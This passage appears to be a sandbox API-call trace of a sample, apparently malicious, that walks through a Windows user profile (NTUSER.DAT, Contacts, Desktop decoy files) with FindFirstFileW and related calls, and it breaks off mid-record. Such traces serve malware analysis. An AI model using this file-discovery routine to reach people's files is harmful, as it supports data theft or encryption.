ftLastAccessTime.dwLowDateTime=0x79d70450, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x79d70450, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NetHood", cAlternateFileName="")) returned 1 [0161.724] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2ea14 | out: lpFindFileData=0x5a2ea14*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x791af7b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x9f0e69c0, ftLastAccessTime.dwHighDateTime=0x1d99d0a, ftLastWriteTime.dwLowDateTime=0xda608490, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x100000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT", cAlternateFileName="")) returned 1 [0161.724] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2ea14 | out: lpFindFileData=0x5a2ea14*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x79bf3690, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79bf3690, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xda608490, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ntuser.dat.LOG1", cAlternateFileName="NTUSER~1.LOG")) returned 1 [0161.724] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2ea14 | out: lpFindFileData=0x5a2ea14*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x79bf3690, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79bf3690, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x79bf3690, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ntuser.dat.LOG2", cAlternateFileName="NTUSER~2.LOG")) returned 1 [0161.724] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2ea14 | out: lpFindFileData=0x5a2ea14*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x79bf3690, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79bf3690, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x9151ca20, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", cAlternateFileName="NTUSER~1.BLF")) returned 1 [0161.724] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2ea14 | out: lpFindFileData=0x5a2ea14*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x79c197f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79c197f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x9151ca20, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="NTUSER~1.REG")) returned 1 [0161.724] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2ea14 | out: lpFindFileData=0x5a2ea14*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x79c3f950, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79c3f950, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x9151ca20, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="NTUSER~2.REG")) returned 1 [0161.724] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2ea14 | out: lpFindFileData=0x5a2ea14*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x7945d070, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7945d070, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0x0, dwReserved1=0x0, cFileName="ntuser.ini", cAlternateFileName="")) returned 1 [0161.724] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2ea14 | out: lpFindFileData=0x5a2ea14*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xf29f86d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf2a44990, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf2a44990, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneDrive", cAlternateFileName="")) returned 1 [0161.724] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2ea14 | out: lpFindFileData=0x5a2ea14*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xc8e12340, ftLastAccessTime.dwHighDateTime=0x1d99dba, ftLastWriteTime.dwLowDateTime=0xc8e12340, ftLastWriteTime.dwHighDateTime=0x1d99dba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0161.725] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2ea14 | out: lpFindFileData=0x5a2ea14*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x79d70450, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79d70450, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x79d70450, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PrintHood", cAlternateFileName="PRINTH~1")) returned 1 [0161.725] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2ea14 | out: lpFindFileData=0x5a2ea14*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x79d70450, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79d70450, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x79d70450, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1 [0161.725] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2ea14 | out: lpFindFileData=0x5a2ea14*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x798d39b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e8847c0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Saved Games", cAlternateFileName="SAVEDG~1")) returned 1 [0161.725] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2ea14 | out: lpFindFileData=0x5a2ea14*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794a9330, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79992090, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e82f090, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Searches", cAlternateFileName="")) returned 1 [0161.725] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2ea14 | out: lpFindFileData=0x5a2ea14*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x79d965b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79d965b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x79d965b0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendTo", cAlternateFileName="")) returned 1 [0161.725] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2ea14 | out: lpFindFileData=0x5a2ea14*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x79d965b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79d965b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x79d965b0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0161.725] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2ea14 | out: lpFindFileData=0x5a2ea14*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x79d965b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79d965b0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x79d965b0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0161.725] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2ea14 | out: lpFindFileData=0x5a2ea14*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794831d0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xc8ed0a20, ftLastAccessTime.dwHighDateTime=0x1d99dba, ftLastWriteTime.dwLowDateTime=0xc8ed0a20, ftLastWriteTime.dwHighDateTime=0x1d99dba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0161.725] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2ea14 | out: lpFindFileData=0x5a2ea14*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794831d0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xc8ed0a20, ftLastAccessTime.dwHighDateTime=0x1d99dba, ftLastWriteTime.dwLowDateTime=0xc8ed0a20, ftLastWriteTime.dwHighDateTime=0x1d99dba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 0 [0161.725] FindClose (in: hFindFile=0x3b4f68 | out: hFindFile=0x3b4f68) returned 1 [0161.725] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e9cc) returned 1 [0161.725] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ec2c) returned 1 [0161.726] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Contacts" (normalized: "c:\\users\\keecfmwgj\\contacts")) returned 0x11 [0161.726] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Contacts" (normalized: "c:\\users\\keecfmwgj\\contacts")) returned 0x11 [0161.727] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Contacts", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1c [0161.727] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Contacts", nBufferLength=0x1c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Contacts", lpFilePart=0x0) returned 0x1b [0161.727] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eb90) returned 1 [0161.727] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Contacts", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1c [0161.727] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Contacts", nBufferLength=0x1c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Contacts", lpFilePart=0x0) returned 0x1b [0161.727] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Contacts\\*" (normalized: "c:\\users\\keecfmwgj\\contacts\\*"), lpFindFileData=0x5a2e940 | out: lpFindFileData=0x5a2e940*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794f55f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e7f6e20, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b4f68 [0161.727] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eb90) returned 1 [0161.727] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Contacts", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1c [0161.727] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Contacts", nBufferLength=0x1c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Contacts", lpFilePart=0x0) returned 0x1b [0161.728] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Contacts\\*" (normalized: "c:\\users\\keecfmwgj\\contacts\\*"), lpFindFileData=0x5a2e940 | out: lpFindFileData=0x5a2e940*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794f55f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e7f6e20, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b4f28 [0161.728] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794f55f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e7f6e20, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0161.728] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf0fefd94, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x10b1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Administrator.contact", cAlternateFileName="ADMINI~1.CON")) returned 1 [0161.728] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e7f9530, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0161.728] FindNextFileW (in: hFindFile=0x3b4f68, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e7f9530, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0161.728] FindClose (in: hFindFile=0x3b4f68 | out: hFindFile=0x3b4f68) returned 1 [0161.728] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e94c) returned 1 [0161.728] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ebac) returned 1 [0161.728] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794f55f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e7f6e20, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0161.728] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf0fefd94, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x10b1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Administrator.contact", cAlternateFileName="ADMINI~1.CON")) returned 1 [0161.728] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e7f9530, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0161.728] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0161.729] FindClose (in: hFindFile=0x3b4f28 | out: hFindFile=0x3b4f28) returned 1 [0161.729] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e94c) returned 1 [0161.729] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ebac) returned 1 [0161.729] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Contacts\\Administrator.contact" (normalized: "c:\\users\\keecfmwgj\\contacts\\administrator.contact")) returned 0x20 [0161.730] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop" (normalized: "c:\\users\\keecfmwgj\\desktop")) returned 0x11 [0161.730] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop" (normalized: "c:\\users\\keecfmwgj\\desktop")) returned 0x11 [0161.730] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1b [0161.730] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop", nBufferLength=0x1b, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop", lpFilePart=0x0) returned 0x1a [0161.730] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eb90) returned 1 [0161.730] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1b [0161.730] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop", nBufferLength=0x1b, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop", lpFilePart=0x0) returned 0x1a [0161.730] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\*" (normalized: "c:\\users\\keecfmwgj\\desktop\\*"), lpFindFileData=0x5a2e940 | out: lpFindFileData=0x5a2e940*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794f55f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x92710560, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0x92710560, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b4f28 [0161.731] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eb90) returned 1 [0161.731] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1b [0161.731] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop", nBufferLength=0x1b, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop", lpFilePart=0x0) returned 0x1a [0161.731] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\*" (normalized: "c:\\users\\keecfmwgj\\desktop\\*"), lpFindFileData=0x5a2e940 | out: lpFindFileData=0x5a2e940*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794f55f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x92710560, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0x92710560, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b4f68 [0161.731] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794f55f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x92710560, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0x92710560, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0161.731] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2f30c90, ftCreationTime.dwHighDateTime=0x1d998a9, ftLastAccessTime.dwLowDateTime=0xd2bd8960, ftLastAccessTime.dwHighDateTime=0x1d99d58, ftLastWriteTime.dwLowDateTime=0xd2bd8960, ftLastWriteTime.dwHighDateTime=0x1d99d58, nFileSizeHigh=0x0, nFileSizeLow=0x11226, dwReserved0=0x0, dwReserved1=0x0, cFileName="1YKoP8wK6f.flv", cAlternateFileName="1YKOP8~1.FLV")) returned 1 [0161.731] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4063bcf0, ftCreationTime.dwHighDateTime=0x1d998ae, ftLastAccessTime.dwLowDateTime=0x1c4c4d40, ftLastAccessTime.dwHighDateTime=0x1d99cb0, ftLastWriteTime.dwLowDateTime=0x1c4c4d40, ftLastWriteTime.dwHighDateTime=0x1d99cb0, nFileSizeHigh=0x0, nFileSizeLow=0xf571, dwReserved0=0x0, dwReserved1=0x0, cFileName="4XirQCKnN-C5.mp3", cAlternateFileName="4XIRQC~1.MP3")) returned 1 [0161.731] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x313935e0, ftCreationTime.dwHighDateTime=0x1d98ff6, ftLastAccessTime.dwLowDateTime=0x8ba90c10, ftLastAccessTime.dwHighDateTime=0x1d99052, ftLastWriteTime.dwLowDateTime=0x8ba90c10, ftLastWriteTime.dwHighDateTime=0x1d99052, nFileSizeHigh=0x0, nFileSizeLow=0xca1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="5wD jaVgryR0UBy6Yy26.gif", cAlternateFileName="5WDJAV~1.GIF")) returned 1 [0161.731] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac4363b0, ftCreationTime.dwHighDateTime=0x1d991c6, ftLastAccessTime.dwLowDateTime=0xdff0a4e0, ftLastAccessTime.dwHighDateTime=0x1d99778, ftLastWriteTime.dwLowDateTime=0xdff0a4e0, ftLastWriteTime.dwHighDateTime=0x1d99778, nFileSizeHigh=0x0, nFileSizeLow=0xb2bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="6t r wKg.pdf", cAlternateFileName="6TRWKG~1.PDF")) returned 1 [0161.731] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7ed3b0, ftCreationTime.dwHighDateTime=0x1d99ad3, ftLastAccessTime.dwLowDateTime=0xd77caa00, ftLastAccessTime.dwHighDateTime=0x1d99d56, ftLastWriteTime.dwLowDateTime=0xd77caa00, ftLastWriteTime.dwHighDateTime=0x1d99d56, nFileSizeHigh=0x0, nFileSizeLow=0xa98c, dwReserved0=0x0, dwReserved1=0x0, cFileName="8XVK_S420PZyaatG.m4a", cAlternateFileName="8XVK_S~1.M4A")) returned 1 [0161.731] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x905a5400, ftCreationTime.dwHighDateTime=0x1d99735, ftLastAccessTime.dwLowDateTime=0x238838b0, ftLastAccessTime.dwHighDateTime=0x1d99c35, ftLastWriteTime.dwLowDateTime=0x238838b0, ftLastWriteTime.dwHighDateTime=0x1d99c35, nFileSizeHigh=0x0, nFileSizeLow=0x8e57, dwReserved0=0x0, dwReserved1=0x0, cFileName="aYGQHCFalP7ms.bmp", cAlternateFileName="AYGQHC~1.BMP")) returned 1 [0161.731] FindNextFileW (in: hFindFile=0x3b4f28, lpFindFileData=0x5a2e994 | out: lpFindFileData=0x5a2e994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f24c2e0, 